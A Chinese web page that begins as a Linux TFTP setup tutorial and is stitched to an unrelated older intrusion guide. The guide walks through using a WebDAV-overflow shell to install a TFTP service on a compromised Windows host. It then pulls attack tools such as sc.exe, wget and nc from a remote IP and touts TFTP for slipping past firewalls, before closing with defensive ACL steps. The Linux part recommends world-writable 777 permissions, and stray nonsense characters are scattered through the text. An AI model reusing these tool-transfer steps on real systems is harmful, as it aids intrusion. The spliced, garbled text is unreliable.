Linux下的TFTP下载及使用方法 (linux的tftp下载)

TFTP是一个小型的文件传输协议,常用于嵌入式系统、路由器等设备上进行固件更新、配置文件传输等任务。在Linux系统中,TFTP作为一个标准的网络协议得到了广泛应用。本文将介绍在Linux系统中如何进行TFTP下载及使用方法。

一、TFTP安装

在Debian或Ubuntu系统下,使用以下命令安装TFTP服务器:

“`

sudo apt-get install tftp tftpd-hpa

“`

CentOS或Fedora系统下,可以使用以下命令安装:

“`

sudo yum install tftp tftp-server

“`

二、TFTP配置

1.配置TFTP服务器

安装TFTP服务器后,需要对其进行配置。在Debian或Ubuntu系统中,配置文件为/etc/default/tftpd-hpa,打开该文件后,对其中的以下两行进行修改:

“`

TFTP_USERNAME=”tftp”

TFTP_DIRECTORY=”/tftpboot”

“`

其中,TFTP_USERNAME表示TFTP服务器使用的用户名,默认为“tftp”,不需要修改;TFTP_DIRECTORY表示TFTP服务器的工作目录,默认为“/srv/tftp”,可以根据需要进行修改,本文以“/tftpboot”为例。修改完成后,保存并退出配置文件。

在CentOS或Fedora系统中,需要修改/etc/xinetd.d/tftp文件。打开该文件后,在service tftp段下方添加以下几行:

“`

server_args = -c -s /tftpboot

disable = no

“`

其中,“-c”表示允许客户端向服务器上传文件,“-s”表示指定服务器的工作目录为“/tftpboot”。修改完成后,保存并退出配置文件。

2.配置文件权限

TFTP服务器的工作目录需要设置为可写权限。在Debian或Ubuntu系统中,可以使用以下命令进行设置:

“`

sudo chown -R nobody:nogroup /tftpboot

sudo chmod -R 777 /tftpboot

“`

在CentOS或Fedora系统中,则需要执行以下命令:

“`

sudo chmod -R 777 /tftpboot

sudo chown -R nobody:nobody /tftpboot

“`

此外,在CentOS系统中还需要将SELinux开启的情况下修改目录权限:

“`

sudo chcon -R -t public_content_rw_t /tftpboot

“`

三、TFTP使用

在TFTP服务器成功配置后,就可以进行文件的上传和下载操作。

1.上传文件

在Linux系统中,可以使用tftp命令进行文件上传操作。以下命令将上传本地/var/log/messages文件到TFTP服务器的/tftpboot目录下:

“`

tftp server_ip

tftp> put /var/log/messages /tftpboot/messages

“`

其中,server_ip表示TFTP服务器的IP地址,put表示上传文件的操作,/var/log/messages是本地文件的路径,/tftpboot/messages是上传后的文件路径。

2.下载文件

同样地,使用tftp命令可以进行文件下载操作。以下命令将下载TFTP服务器的/tftpboot/pxelinux.0文件到本地/tmp目录下:

“`

tftp server_ip

tftp> get /tftpboot/pxelinux.0 /tmp/pxelinux.0

“`

其中,get表示下载文件的操作,/tftpboot/pxelinux.0是上传后的文件路径,/tmp/pxelinux.0是下载后的文件路径。

四、TFTP安全

在使用TFTP时需要注意安全问题。由于TFTP使用的是不加密的明文传输,因此数据可能会被窃取或篡改。因此,在TFTP使用中需要注意以下几点:

1.不要在TFTP中传输敏感数据,如用户名、密码等。

2.使用TFTP时应该在私有网络环境中进行。

3.使用TFTP时应该限制访问,仅允许特定的IP地址访问。

4.使用TFTP时应该将服务设置为只读模式,仅允许文件上传至指定目录,而不允许客户端向任意目录进行写入操作。

五、

TFTP是一种小型、高效的文件传输协议,在Linux系统下得到了广泛应用。我们可以通过安装配置TFTP服务器来实现文件上传和下载等操作。同时,在使用TFTP时也需要注意安全问题,仅在私有网络中进行,并限制访问和只读操作。

相关问题拓展阅读:

如何安装RED HAT LINUX的tftp服务器呢?

Tftp安装使用全接触

发表日期:2023年10月8日

菜鸟A通过时下比较流行的webdav漏洞进行溢出攻击得到了一个shell,但是在加了管理员帐户后他却发现发现建立了管理员帐户之后却不能ipc$连接,在cmd下又不能开启ipc$,提示启动错误。那么怎么上传文件呢?菜鸟听人说过可以用ftp,但是由于cmd环境下ftp是不能实现交互的,所以这样反而会害了人,输入ftp后,cmd停在那里不动了?菜鸟傻眼了;也有人说是用echo命令写一个从指定ftp下载程序的文件,然后通过ftp –s:file命令来下载,这个通过实践是可行的,但是菜鸟又觉得有点麻烦渣山。怎么办?

这时,一个声音在耳边响起:用tftp吧,给你快乐。Tftp?!@#$^&*,菜鸟想了一会,不得其解。听说过ftp,那tftp又是什么呢?那么今天我就给菜鸟们讲解下它的安装使用过程以及在入侵中的作用和自己的心则梁蔽得体会。

一. TFTP简介:

Tftp是Trivial File Transfer Protocol的简称,翻译为简单文件传输协议,它是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,虽然功能有点少,但是在我们的入侵中帮助还是很大的。

Tftp与Win2K自带的Ftp服务器和目前流行的Serv-u所不同的是Tftp是承载在UDP端口;与Ftp相比,TFTP的大小要小的多;缺陷是它提供的数据流传输服务是不可靠的,它不提供存取授权与认证机制,使用超时重传方式来保证数据的到达,使用的是UDP 69端口。但是由于它采用的是UDP端口,很容易摆脱防火墙的限制和IP安全策略对端口的审核,可以在入侵的时候灵活的使用,这也就是我向大家介绍它的原因了。

二:TFTP服务的开启:

也许你还记得经典的unicode漏洞,利用这个漏洞可以在浏览器里执行命令,可以通过tftp上传idq.dll,然后结合ispc.exe来获取管理员权限。但是你知道tftp服务器不是很容易找的,但是话又说回来了,既然Tftp.exe是微软自带的一个比较可爱的小工具,那么我们就可以利用它来做点事,为肉鸡开启Tftp服务,那就不用愁着找不到tftp服务器了。我们可以在Win2k的Winnt\system32下找到Tftp.exe,还可以在WINNT\system32\dllcache下找到Tftp.exe。当然你可以在命令行下输入:dir %windir%\tftp* /s(表示在%windir%目录所有子目录搜索tftp前缀程序)。我的机子反馈的信息是这样的:

驱动器 C 中的卷没有标签。卷的序列号是 287C-D610

C:\WINNT\system32 的目录

:05 17,680 tftp.exe

1 个文件 17,680 字节

C:\WINNT\system32\dllcache 的目录

:05 17,680 tftp.exe

:00 19,728 tftpd.exe

2 个文件 37,408 字节

大家也看到了,这里出现了一个Tftpd.exe程孙州序,没有错,它是tftp服务器的服务端程序。怎么开启肉鸡的tftp服务呢,双击运行?-install?这里我们需要ResourceKit里的一个工具instsrv.exe把tftp安装为服务,instsrv是命令行下的工具,srvinstw.exe是它的gui版本,看图

1:我们来看它的说明:

C:\Longker>instsrv.exe

Installs and removes system services from NT

INSTSRV ( | REMOVE)

Install service example:

INSTSRV MyService C:\MyDir\DiskService.Exe

-OR-

INSTSRV MyService C:\mailsrv\mailsrv.exe -a MYDOMAIN\joebob -p foo

Remove service example:

INSTSRV MyService REMOVE

那我们就把tftp安装为服务:

C:\Longker>instsrv “Tftp services” c:\winnt\system32\dllcache\tftpd.exe

The service was successfuly added!

Make sure that you go into the Control Panel and use

the Services applet to change the Account Name and

Password that this newly installed service will use

for its Security Context.

就这样,我们把tftp服务安装上了,服务名是Tftp services,下面来启动它:

C:\Longker>net start “tftp services”

Tftp services 服务正在启动。

Tftp services 服务已经启动成功。

OK,服务已经启动成功了,我们可以用fport来查看端口开启的情况:

1524 tftpd -> 69 UDP c:\winnt\system32\dllcache\tftpd.exe

看到了,它是采用UDP协议来进行文件传输的,开启的端口是69。

或者我们可以用以下命令来查询:

C:\Longker >netstat -an |find “69”

netstat -an |find “69”

UDP 202.xx.xx.165:69 *:*

服务启动成功后,会在系统跟目录下生成tftpdroot文件夹,我们上传和提供下载的文件就放在这里。

这里有一个很好的Tftp服务器推荐给大家,有日志记录和目录设定功能,还显示传输进度,最重要的是它是免费的,而且可以在多个平台使用

下载地址

三:如何使用Tftp:

TFTP 自带的帮助信息:

TFTP host source

-i Specifies binary image transfer mode (also called

octet). In binary image mode the file is moved

literally, byte by byte. Use this mode when transferring binary files.

host Specifies the local or remote host.

GET Transfers the file destination on the remote host to

the file source on the local host.

PUT Transfers the file source on the local host to

the file destination on the remote host.

source Specifies the file to transfer.

destination Specifies where to transfer the file.

说明:

-i选项是以二进制模式传送文件,很多Exploit代码就需要用这种模式来传送。

Host是开启了tftp服务的主机,可以是本地主机也可以是远程主机。

get就是到当前运行的目录里面下载,而put就是把文件上传到了开了tftp服务的机子。Source是你要上传或者是下载的文件名称。

下面举几个列子:

C:\Longker>tftp -i 202.xx.xx.165 get sc.exe

tftp -i 202.xx.xx.165 get sc.exe

Transfer successful:bytes in 1 second,bytes/s

这个是从开了tftp服务的主机下载sc.exe程序,速度不错吧 :)

C:\Longker>tftp -i 202.xx.xx.165 put sc.exe

tftp -i 202.xx.xx.165 put sc.exe

Transfer successful:bytes in 1 second,bytes/s

上面是把sc.exe上传到tftp服务器。

四:相关问题解答:

由于tftp是微软自带的,所以我们入侵了一台机子后,可以使用它来上传我们所要用到的工具,而不用下载其他的工具了。那么刚才菜鸟的问题也就迎刃而解了,我们可以用tftp下载我们需要的工具,或者是只用tftp下载wget.exe(一个可以从web服务器下载程序的小型工具),然后用wget下载自己实现准备好的工具包。

前面的问题是解决了,但是或许菜鸟还会遇到些问题,比如要把上传的文件删除的时候却出现了错误提示:拒绝访问!怎么回事?我自己上传的文件却不能删除,太假了。那是因为用tftp上传下载的文件默认是具有只读属性的,所以我们在删除前需要用attrib –R 来去掉它的只读属性。

大家也知道,很多网络蠕虫或黑客攻击程序都尝试通过某种漏洞获得命令行的运行权限,而这些获得权限的过程中,蠕虫往往是通过Windows自带的tftp客户端程序去获取一些需要的攻击程序或后门程序,如nc之类的工具。较新的比如是现在热门的asp木马,也可以利用cmd.asp调用tftp来下载工具,进而获取系统管理员权限。注重安全的读者也许会问,那万一我的机子也被入侵了,怎么了防止入侵者使用tftp呢?我这里介绍两种方法给大家。

1:可以用cacls来限制用户对程序的访问

C:\>cacls

显示或者修改文件的访问控制表(ACL)

CACLS filename >

> >

filename 显示 ACL。

/T 更改当前目录及其所有子目录中指定文件的 ACL。

/E 编辑 ACL 而不替换。

/C 在出现拒绝访问错误时继续。

/G user:perm 赋予指定用户访问权限。

Perm 可以是: R 读取W 写入C 更改(写入) F 完全控制

/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。

/P user:perm 替换指定用户的访问权限。

Perm 可以是: N 无R 读取W 写入C 更改(写入) F 完全控制

/D user 拒绝指定用户的访问。

在命令中可以使用通配符指定多个文件。也可以在命令中指定多个用户。

相关帮助信息如上,那我们可以禁止iusr_computername用户对tftp.exe的运行权限。

C:\>cacls c:\winnt\system32\tftp.exe /D iusr_computername

C:\>cacls c:\winnt\system32\dllcache\tftp.exe /D iusr_computername

是否确定(Y/N)?y

处理的文件: c:\winnt\system32\tftp.exe

处理的文件: c:\winnt\system32\dllcache\tftp.exe

C:\>tftp

拒绝访问。

显然我们达到了我们的目的。类似的我们可以禁止iusr用户对cmd.exe的调用。

2:我们能不能把tftp删除以绝后患呢?不行,因为在WIN2K下,tftp.exe之类的系统关键程序受到Windows File Protection系统的保护,无法直接更改。这里我们介绍另外一种方法,

用文本编辑工具打开%systemroot%\system32\drivers\etc下的service文件找到对应的tftp那一行:

bootps 67/udp dhcps #Bootstrap Protocol Server

bootpc 68/udp dhcpc #Bootstrap Protocol Client

tftp 69/udp #Trivial File Transfer

将 69/udp 替换成 0/udp保存退出。我们再尝试看看能否使用tftp了?

关于linux的tftp下载的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。


数据运维技术 » Linux下的TFTP下载及使用方法 (linux的tftp下载)